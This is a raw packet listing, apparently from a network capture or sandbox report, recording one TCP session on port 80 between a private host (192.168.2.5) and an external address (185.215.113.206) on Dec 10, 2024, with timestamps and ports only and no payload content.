Dec 10, 2024 02:50:39.061561108 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.062253952 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.062294006 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.062370062 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.062411070 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.063062906 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.063179970 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.063226938 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.063968897 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.064095974 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.064136028 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.064769983 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.064924002 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.064971924 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.065581083 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.065625906 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.065941095 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.066442013 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.066492081 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.066576958 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.067261934 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.067308903 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.067363024 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.067406893 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.068062067 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.068206072 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.068242073 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.068253040 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.068917036 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.068963051 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.069034100 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.069076061 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.069734097 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.069778919 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.069899082 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.069941998 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.070569992 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.070615053 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.070748091 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.070791960 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.071434021 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.071475983 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.071532011 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.071573973 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.072237968 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.072388887 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.072432041 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.073107004 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.073187113 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.073231936 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.073873043 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.073915005 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.090656042 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.090852022 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.090962887 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.091023922 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.091190100 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.091233015 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.091545105 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.091593981 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.091650963 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.092235088 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.092379093 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.092453003 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.092492104 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.093194962 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.093242884 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.093276978 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.094047070 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.094091892 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.094116926 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.094152927 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.094877958 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.094926119 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.094973087 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.095113993 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.095722914 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.095776081 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.095830917 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.095871925 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.096533060 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.096570015 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.096637964 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.096683979 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.097486973 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.097536087 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.097589970 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.097625017 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.098180056 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.098226070 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.098310947 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.098357916 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.099029064 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.099076986 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.099112988 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.099150896 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.099847078 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.099888086 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.100034952 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.100075006 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.100707054 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.100754023 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.100807905 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.100847960 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.101532936 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.101579905 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.101613998 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.101654053 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.102349997 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.102395058 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.102453947 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.102499008 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.103182077 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.103228092 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.103295088 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.103332043 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.104018927 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.104067087 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.104103088 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.104142904 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.104849100 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.104893923 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.104984999 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.105021000 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.105684042 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.105726957 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.105801105 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.105843067 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.106540918 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.106602907 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.239044905 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.239126921 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.239222050 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.239263058 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.239450932 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.239501953 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.239577055 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.239614964 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.240277052 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.240319967 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.240396976 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.240438938 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.241103888 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.241149902 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.241312027 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.241352081 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.241942883 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.241986036 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.242136002 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.242177010 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.242775917 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.242814064 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.242878914 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.242912054 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.243607044 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.243645906 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.243776083 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.243815899 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.244446039 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.244488001 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.244560957 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.244599104 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.245270967 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.245310068 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.245500088 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.245547056 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.246131897 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.246172905 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.246284962 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.246330023 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.246937037 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.246980906 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.247036934 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.247081041 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.247780085 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.247823954 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.247855902 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.247888088 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.248620033 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.248663902 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.248698950 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.248733044 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.249458075 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.249521017 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.249564886 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.249603033 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.250277042 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.250322104 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.250406027 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.250444889 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.251105070 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.251154900 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.251216888 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.251255035 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.251955986 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.251996040 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.252054930 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.252094984 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.252790928 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.252827883 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.252923965 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.252959967 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.253609896 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.253652096 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.253743887 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.253784895 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.254426003 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.254466057 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.254528046 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.254565954 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.255260944 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.255310059 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.255368948 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.255413055 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.256156921 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.256201982 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.256262064 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.256302118 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.256947041 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.257002115 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.257064104 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.257102013 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.257796049 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.257838964 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.257909060 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.257946968 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.258642912 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.258682013 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.258713961 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.258744955 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.259450912 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.259490967 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.259548903 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.259587049 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.260312080 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.260355949 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.260389090 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.260427952 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.261113882 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.261159897 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.261209965 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.261251926 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.261951923 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.261995077 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.262078047 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.262115955 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.262794971 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.262837887 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.262888908 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.262923956 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.263617992 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.263657093 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.263717890 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.263756990 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.264435053 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.264478922 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.264523029 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.264555931 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.265265942 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.265309095 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.265393972 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.265431881 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.266058922 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.266100883 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.282906055 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.283008099 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.283025026 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.283078909 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.283263922 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.283330917 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.283363104 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.283404112 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.284131050 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.284184933 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.284219027 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.284256935 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.284934998 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.284979105 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.285033941 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.285072088 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.285763979 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.285804033 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.285871029 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.285916090 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.286602020 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.286638975 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.286756992 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.286798000 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.287436962 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.287477970 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.287554026 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.287599087 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.288273096 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.288315058 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.288372993 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.288410902 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.289110899 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.289164066 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.289200068 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.289241076 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.289940119 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.289982080 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.290043116 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.290085077 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.290776968 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.290824890 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.290898085 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.290944099 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.291599035 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.291642904 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.291706085 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.291749954 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.292438984 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.292480946 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.292534113 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.292573929 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.293275118 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.293317080 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.293405056 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.293448925 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.294141054 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.294186115 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.294256926 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.294303894 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.294931889 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.294970989 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.295043945 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.295087099 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.295809984 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.295855045 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.295932055 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.295974016 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.296600103 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.296643972 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.296701908 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.296745062 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.297447920 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.297492027 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:39.297538996 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:39.297580957 CET	49763	80	192.168.2.5	185.215.113.206
